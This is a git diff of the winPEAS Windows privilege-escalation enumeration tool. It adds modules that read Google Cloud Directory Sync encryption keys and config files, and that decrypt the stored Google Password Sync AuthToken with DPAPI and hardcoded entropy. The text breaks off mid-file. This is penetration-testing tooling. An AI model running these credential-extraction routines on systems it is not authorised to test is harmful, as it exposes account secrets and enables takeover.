||||
using System.Management;
|
||||
|
||||
namespace winPEAS._3rdParty.Watson
|
||||
{
|
||||
public class Wmi
|
||||
{
|
||||
public static List<int> GetInstalledKBs()
|
||||
{
|
||||
var KbList = new List<int>();
|
||||
|
||||
try
|
||||
{
|
||||
using (var searcher = new ManagementObjectSearcher(@"root\cimv2", "SELECT HotFixID FROM Win32_QuickFixEngineering"))
|
||||
{
|
||||
using (var hotFixes = searcher.Get())
|
||||
{
|
||||
foreach (var hotFix in hotFixes)
|
||||
{
|
||||
var line = hotFix["HotFixID"].ToString().Remove(0, 2);
|
||||
|
||||
if (int.TryParse(line, out int kb))
|
||||
{
|
||||
KbList.Add(kb);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (ManagementException e)
|
||||
{
|
||||
Console.Error.WriteLine(" [!] {0}", e.Message);
|
||||
}
|
||||
|
||||
return KbList;
|
||||
}
|
||||
|
||||
public static int GetBuildNumber()
|
||||
{
|
||||
try
|
||||
{
|
||||
using (var searcher = new ManagementObjectSearcher(@"root\cimv2", "SELECT BuildNumber FROM Win32_OperatingSystem"))
|
||||
{
|
||||
using (var collection = searcher.Get())
|
||||
{
|
||||
foreach (var num in collection)
|
||||
{
|
||||
if (int.TryParse(num["BuildNumber"] as string, out int buildNumber))
|
||||
{
|
||||
return buildNumber;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (ManagementException e)
|
||||
{
|
||||
Console.Error.WriteLine(" [!] {0}", e.Message);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
198
winPEAS/winPEASexe/winPEAS/App.config
Executable file → Normal file
198
winPEAS/winPEASexe/winPEAS/App.config
Executable file → Normal file
@@ -1,9 +1,191 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<configuration>
|
||||
<startup useLegacyV2RuntimeActivationPolicy="true">
|
||||
|
||||
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5.2"/></startup>
|
||||
<runtime>
|
||||
<AppContextSwitchOverrides value="Switch.System.IO.UseLegacyPathHandling=false" />
|
||||
</runtime>
|
||||
</configuration>
|
||||
<configSections>
|
||||
<!-- For more information on Entity Framework configuration, visit http://go.microsoft.com/fwlink/?LinkID=237468 -->
|
||||
<section name="entityFramework" type="System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramework, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" requirePermission="false" />
|
||||
</configSections>
|
||||
<startup useLegacyV2RuntimeActivationPolicy="true">
|
||||
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5.2" />
|
||||
</startup>
|
||||
<runtime>
|
||||
<AppContextSwitchOverrides value="Switch.System.IO.UseLegacyPathHandling=false" />
|
||||
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="System.Runtime.CompilerServices.Unsafe" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-6.0.0.0" newVersion="6.0.0.0" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="BouncyCastle.Crypto" publicKeyToken="0e99375e54769942" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-1.9.0.0" newVersion="1.9.0.0" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="Costura" publicKeyToken="null" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-5.7.0.0" newVersion="5.7.0.0" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="EntityFramework" publicKeyToken="b77a5c561934e089" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-6.0.0.0" newVersion="6.0.0.0" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="EntityFramework.SqlServer" publicKeyToken="b77a5c561934e089" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-6.0.0.0" newVersion="6.0.0.0" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="Microsoft.Bcl.AsyncInterfaces" publicKeyToken="cc7b13ffcd2ddd51" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-8.0.0.0" newVersion="8.0.0.0" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="Microsoft.Win32.Primitives" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-4.0.2.0" newVersion="4.0.2.0" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="System.AppContext" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-4.1.1.0" newVersion="4.1.1.0" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="System.Buffers" publicKeyToken="cc7b13ffcd2ddd51" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-4.0.3.0" newVersion="4.0.3.0" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="System.Console" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-4.0.1.0" newVersion="4.0.1.0" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="System.Data.SQLite" publicKeyToken="db937bc2d44ff139" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-1.0.119.0" newVersion="1.0.119.0" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="System.Data.SQLite.EF6" publicKeyToken="db937bc2d44ff139" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-1.0.119.0" newVersion="1.0.119.0" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="System.Data.SQLite.Linq" publicKeyToken="db937bc2d44ff139" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-1.0.119.0" newVersion="1.0.119.0" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="System.Diagnostics.DiagnosticSource" publicKeyToken="cc7b13ffcd2ddd51" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-4.0.1.0" newVersion="4.0.1.0" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="System.Diagnostics.Tracing" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-4.1.1.0" newVersion="4.1.1.0" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="System.Globalization.Calendars" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-4.0.2.0" newVersion="4.0.2.0" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="System.IO" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-4.1.1.0" newVersion="4.1.1.0" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="System.IO.Compression" publicKeyToken="b77a5c561934e089" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-4.1.2.0" newVersion="4.1.2.0" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="System.IO.Compression.ZipFile" publicKeyToken="b77a5c561934e089" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-4.0.2.0" newVersion="4.0.2.0" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="System.IO.FileSystem" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-4.0.2.0" newVersion="4.0.2.0" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="System.IO.FileSystem.Primitives" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-4.0.2.0" newVersion="4.0.2.0" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="System.Linq" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-4.1.1.0" newVersion="4.1.1.0" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="System.Linq.Expressions" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-4.1.1.0" newVersion="4.1.1.0" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="System.Memory" publicKeyToken="cc7b13ffcd2ddd51" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-4.0.1.2" newVersion="4.0.1.2" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="System.Net.Http" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-4.1.1.3" newVersion="4.1.1.3" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="System.Net.Sockets" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-4.1.1.0" newVersion="4.1.1.0" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="System.Numerics.Vectors" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-4.1.4.0" newVersion="4.1.4.0" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="System.Reflection" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-4.1.1.0" newVersion="4.1.1.0" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="System.Runtime" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-4.1.1.0" newVersion="4.1.1.0" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="System.Runtime.Extensions" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-4.1.1.0" newVersion="4.1.1.0" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="System.Runtime.InteropServices" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-4.1.1.0" newVersion="4.1.1.0" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="System.Runtime.InteropServices.RuntimeInformation" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-4.0.1.0" newVersion="4.0.1.0" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="System.Security.Cryptography.Algorithms" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-4.2.1.0" newVersion="4.2.1.0" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="System.Security.Cryptography.Encoding" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-4.0.1.0" newVersion="4.0.1.0" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="System.Security.Cryptography.Primitives" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-4.0.1.0" newVersion="4.0.1.0" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="System.Security.Cryptography.X509Certificates" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-4.1.1.0" newVersion="4.1.1.0" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="System.Text.Encodings.Web" publicKeyToken="cc7b13ffcd2ddd51" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-8.0.0.0" newVersion="8.0.0.0" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="System.Text.RegularExpressions" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-4.1.0.0" newVersion="4.1.0.0" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="System.Threading.Tasks.Extensions" publicKeyToken="cc7b13ffcd2ddd51" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-4.2.0.1" newVersion="4.2.0.1" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="System.ValueTuple" publicKeyToken="cc7b13ffcd2ddd51" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-4.0.3.0" newVersion="4.0.3.0" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="System.Xml.ReaderWriter" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-4.1.0.0" newVersion="4.1.0.0" />
|
||||
</dependentAssembly>
|
||||
</assemblyBinding>
|
||||
</runtime>
|
||||
<entityFramework>
|
||||
<providers>
|
||||
<provider invariantName="System.Data.SqlClient" type="System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer" />
|
||||
<provider invariantName="System.Data.SQLite.EF6" type="System.Data.SQLite.EF6.SQLiteProviderServices, System.Data.SQLite.EF6" />
|
||||
</providers>
|
||||
</entityFramework>
|
||||
<system.data>
|
||||
<DbProviderFactories>
|
||||
<remove invariant="System.Data.SQLite.EF6" />
|
||||
<add name="SQLite Data Provider (Entity Framework 6)" invariant="System.Data.SQLite.EF6" description=".NET Framework Data Provider for SQLite (Entity Framework 6)" type="System.Data.SQLite.EF6.SQLiteProviderFactory, System.Data.SQLite.EF6" />
|
||||
<remove invariant="System.Data.SQLite" /><add name="SQLite Data Provider" invariant="System.Data.SQLite" description=".NET Framework Data Provider for SQLite" type="System.Data.SQLite.SQLiteFactory, System.Data.SQLite" /></DbProviderFactories>
|
||||
</system.data>
|
||||
</configuration>
|
||||
@@ -14,7 +14,10 @@ namespace winPEAS.Checks
|
||||
{
|
||||
new AWSInfo(),
|
||||
new AzureInfo(),
|
||||
new GCPInfo()
|
||||
new GCPInfo(),
|
||||
new GCPJoinedInfo(),
|
||||
new GCDSInfo(),
|
||||
new GPSInfo(),
|
||||
};
|
||||
|
||||
foreach (var cloudInfo in cloudInfoList)
|
||||
|
||||
@@ -5,7 +5,6 @@ using System.Linq;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text.RegularExpressions;
|
||||
using winPEAS._3rdParty.Watson;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Helpers.AppLocker;
|
||||
using winPEAS.Helpers.Extensions;
|
||||
@@ -108,10 +107,6 @@ namespace winPEAS.Checks
|
||||
};
|
||||
Beaprint.DictPrint(basicDictSystem, colorsSI, false);
|
||||
Console.WriteLine();
|
||||
Watson.FindVulns();
|
||||
|
||||
//To update Watson, update the CVEs and add the new ones and update the main function so it uses new CVEs (becausfull with the Beaprints inside the FindVulns function)
|
||||
//Usually you won't need to do anything with the classes Wmi, Vulnerability and VulnerabilityCollection
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
|
||||
@@ -1,3 +1,11 @@
|
||||
<Weavers xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="FodyWeavers.xsd">
|
||||
<Costura />
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Weavers xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="FodyWeavers.xsd">
|
||||
<Costura IncludeDebugSymbols='false'>
|
||||
<Unmanaged32Assemblies>
|
||||
SQLite.Interop
|
||||
</Unmanaged32Assemblies>
|
||||
<Unmanaged64Assemblies>
|
||||
SQLite.Interop
|
||||
</Unmanaged64Assemblies>
|
||||
</Costura>
|
||||
</Weavers>
|
||||
@@ -17,6 +17,16 @@
|
||||
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeRuntimeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="IncludeRuntimeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged32Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with line breaks.</xs:documentation>
|
||||
@@ -43,6 +53,16 @@
|
||||
<xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IncludeRuntimeReferences" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Controls if runtime assemblies are also embedded.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="UseRuntimeReferencePaths" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Controls whether the runtime assemblies are embedded with their full path or only with their assembly name.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="DisableCompression" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>
|
||||
@@ -73,6 +93,16 @@
|
||||
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="ExcludeRuntimeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with |</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IncludeRuntimeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="Unmanaged32Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with |.</xs:documentation>
|
||||
|
||||
139
winPEAS/winPEASexe/winPEAS/Info/CloudInfo/GCDSInfo.cs
Normal file
139
winPEAS/winPEASexe/winPEAS/Info/CloudInfo/GCDSInfo.cs
Normal file
@@ -0,0 +1,139 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
using winPEAS.Helpers;
|
||||
using System.Data.SQLite;
|
||||
using Org.BouncyCastle.Crypto;
|
||||
using Org.BouncyCastle.Crypto.Parameters;
|
||||
using Org.BouncyCastle.Crypto.Modes;
|
||||
using System.Linq;
|
||||
using Microsoft.Win32;
|
||||
using System.Web.Script.Serialization;
|
||||
|
||||
|
||||
namespace winPEAS.Info.CloudInfo
|
||||
{
|
||||
internal class GCDSInfo : CloudInfoBase
|
||||
{
|
||||
public override string Name => "Google Cloud Directory Sync";
|
||||
|
||||
public override bool IsCloud => CheckIfGCDSInstalled();
|
||||
|
||||
private Dictionary<string, List<EndpointData>> _endpointData = null;
|
||||
|
||||
public static bool CheckIfGCDSInstalled()
|
||||
{
|
||||
string[] check = Helpers.Registry.RegistryHelper.GetRegSubkeys("HKCU", @"SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util");
|
||||
bool regExists = check != null && check.Length > 0;
|
||||
bool result = regExists || File.Exists(@"C:\Program Files\Google Cloud Directory Sync\config-manager.exe");
|
||||
return result;
|
||||
}
|
||||
|
||||
private List<EndpointData> GetGCDSRegValues()
|
||||
{
|
||||
Dictionary<string, string> GCDSRegValues = new Dictionary<string, string>();
|
||||
GCDSRegValues.Add("V2.configured", Helpers.Registry.RegistryHelper.GetRegValue("HKCU", @"SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util", @"/Encryption/Policy/V2.configured"));
|
||||
GCDSRegValues.Add("V2.iv", Helpers.Registry.RegistryHelper.GetRegValue("HKCU", @"SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util", @"/Encryption/Policy/V2.iv").Replace("/", "").Replace("\\","/"));
|
||||
GCDSRegValues.Add("V2.key", Helpers.Registry.RegistryHelper.GetRegValue("HKCU", @"SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util", @"/Encryption/Policy/V2.key").Replace("/", "").Replace("\\", "/"));
|
||||
string openRecent = Helpers.Registry.RegistryHelper.GetRegValue("HKCU", @"SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui", @"open.recent");
|
||||
GCDSRegValues.Add("Open recent confs", Helpers.Registry.RegistryHelper.GetRegValue("HKCU", @"SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui", @"open.recent"));
|
||||
|
||||
List<string> filePaths = new List<string>(openRecent.Split(new string[] { "/u000a" }, StringSplitOptions.None));
|
||||
|
||||
foreach (var filePath in filePaths)
|
||||
{
|
||||
// Normalize the path by replacing triple slashes and double slashes with single slashes
|
||||
string normalizedPath = filePath.Replace("///", "/").Replace("//", "/");
|
||||
|
||||
// Remove any leading slashes that shouldn't be there
|
||||
if (normalizedPath.StartsWith("/"))
|
||||
{
|
||||
normalizedPath = normalizedPath.Substring(1);
|
||||
}
|
||||
|
||||
// Check if file exists
|
||||
if (File.Exists(normalizedPath))
|
||||
{
|
||||
try
|
||||
{
|
||||
// Read and print the file content
|
||||
string fileContent = File.ReadAllText(normalizedPath);
|
||||
List<EndpointData> _endpointDataList_cust = new List<EndpointData>();
|
||||
_endpointDataList_cust.Add(new EndpointData()
|
||||
{
|
||||
EndpointName = @"Content",
|
||||
Data = fileContent,
|
||||
IsAttackVector = false
|
||||
});
|
||||
_endpointData.Add(normalizedPath, _endpointDataList_cust);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Beaprint.PrintException($"Could not open file {normalizedPath}: {ex.Message}");
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Beaprint.PrintException($"File {normalizedPath} does not exist.");
|
||||
}
|
||||
}
|
||||
|
||||
// Format the info in expected CloudInfo format
|
||||
List<EndpointData> _endpointDataList = new List<EndpointData>();
|
||||
|
||||
foreach (var kvp in GCDSRegValues)
|
||||
{
|
||||
_endpointDataList.Add(new EndpointData()
|
||||
{
|
||||
EndpointName = kvp.Key,
|
||||
Data = kvp.Value?.Trim(),
|
||||
IsAttackVector = false
|
||||
});
|
||||
}
|
||||
|
||||
return _endpointDataList;
|
||||
}
|
||||
|
||||
|
||||
public override Dictionary<string, List<EndpointData>> EndpointDataList()
|
||||
{
|
||||
if (_endpointData == null)
|
||||
{
|
||||
_endpointData = new Dictionary<string, List<EndpointData>>();
|
||||
|
||||
try
|
||||
{
|
||||
if (IsAvailable)
|
||||
{
|
||||
_endpointData.Add("Local Info", GetGCDSRegValues());
|
||||
}
|
||||
else
|
||||
{
|
||||
_endpointData.Add("General Info", new List<EndpointData>()
|
||||
{
|
||||
new EndpointData()
|
||||
{
|
||||
EndpointName = "",
|
||||
Data = null,
|
||||
IsAttackVector = false
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Beaprint.PrintException(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
return _endpointData;
|
||||
}
|
||||
|
||||
public override bool TestConnection()
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
304
winPEAS/winPEASexe/winPEAS/Info/CloudInfo/GPSInfo.cs
Normal file
304
winPEAS/winPEASexe/winPEAS/Info/CloudInfo/GPSInfo.cs
Normal file
@@ -0,0 +1,304 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
using winPEAS.Helpers;
|
||||
using System.Data.SQLite;
|
||||
using Org.BouncyCastle.Crypto;
|
||||
using Org.BouncyCastle.Crypto.Parameters;
|
||||
using Org.BouncyCastle.Crypto.Modes;
|
||||
using System.Linq;
|
||||
using Microsoft.Win32;
|
||||
using System.Web.Script.Serialization;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
|
||||
namespace winPEAS.Info.CloudInfo
|
||||
{
|
||||
internal class GPSInfo : CloudInfoBase
|
||||
{
|
||||
public override string Name => "Google Password Sync";
|
||||
|
||||
public override bool IsCloud => CheckIfGPSInstalled();
|
||||
|
||||
private Dictionary<string, List<EndpointData>> _endpointData = null;
|
||||
|
||||
public static bool CheckIfGPSInstalled()
|
||||
{
|
||||
string[] check = Helpers.Registry.RegistryHelper.GetRegSubkeys("HKLM", @"SOFTWARE\Google\Google Apps Password Sync");
|
||||
bool regExists = check != null && check.Length > 0;
|
||||
bool result = regExists || File.Exists(@"C:\Program Files\Google\Password Sync\PasswordSync.exe") || File.Exists(@"C:\Program Files\Google\Password Sync\password_sync_service.exe");
|
||||
return result;
|
||||
}
|
||||
|
||||
private List<EndpointData> GetGPSValues()
|
||||
{
|
||||
Dictionary<string, string> GPSRegValues = new Dictionary<string, string>();
|
||||
|
||||
// Check config file
|
||||
string path_config = @"C:\ProgramData\Google\Google Apps Password Sync\config.xml";
|
||||
if (File.Exists(path_config))
|
||||
{
|
||||
try
|
||||
{
|
||||
// Load the XML file
|
||||
string xmlContent = File.ReadAllText(path_config);
|
||||
|
||||
// Extract values using Regex
|
||||
string baseDN = ExtractValue(xmlContent, @"<baseDN>(.*?)<\/baseDN>");
|
||||
string authorizedUsername = ExtractValue(xmlContent, @"<authorizedUsername>(.*?)<\/authorizedUsername>");
|
||||
string anonymousAccess = ExtractValue(xmlContent, @"<useAnonymousAccess value=""(.*?)"" ");
|
||||
|
||||
// Output the extracted values
|
||||
GPSRegValues.Add("BaseDN", baseDN);
|
||||
GPSRegValues.Add("AnonymousAccess", anonymousAccess);
|
||||
GPSRegValues.Add("authorizedUsername", authorizedUsername);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Beaprint.PrintException("Error accessing the Google Password Sync configuration from 'C:\\ProgramData\\Google\\Google Apps Password Sync\\config.xml'");
|
||||
Beaprint.PrintException("Exception: " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
// Get registry valus and decrypt them
|
||||
string hive = "HKLM";
|
||||
string regAddr = @"SOFTWARE\Google\Google Apps Password Sync";
|
||||
string[] subkeys = Helpers.Registry.RegistryHelper.GetRegSubkeys(hive, regAddr);
|
||||
if (subkeys == null || subkeys.Length == 0)
|
||||
{
|
||||
Beaprint.PrintException("Winpeas need admin privs to check the registry for credentials");
|
||||
}
|
||||
else
|
||||
{
|
||||
GPSRegValues.Add("Email", Helpers.Registry.RegistryHelper.GetRegValue(hive, regAddr, @"Email"));
|
||||
|
||||
// Check if AuthToken in the registry
|
||||
string authtokenInReg = Helpers.Registry.RegistryHelper.GetRegValue(hive, regAddr, @"AuthToken");
|
||||
if (authtokenInReg.Length > 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
Native.Advapi32 advapi = new Native.Advapi32();
|
||||
byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };
|
||||
|
||||
// Decrypt auth token
|
||||
byte[] encryptedEncodedAuthToken = advapi.ReadRegistryValue(regAddr, @"AuthToken");
|
||||
byte[] decryptedData = DecryptData(encryptedEncodedAuthToken, entropyBytes);
|
||||
string base32hexEncodedString = Encoding.Unicode.GetString(decryptedData).TrimEnd('\0');
|
||||
|
||||
// Decode decrypted auth token
|
||||
byte[] originalData = Base32HexDecoder.Decode(base32hexEncodedString);
|
||||
string plainAuthToken = Encoding.Unicode.GetString(originalData).TrimEnd('\0');
|
||||
|
||||
// Find tokens via regexes
|
||||
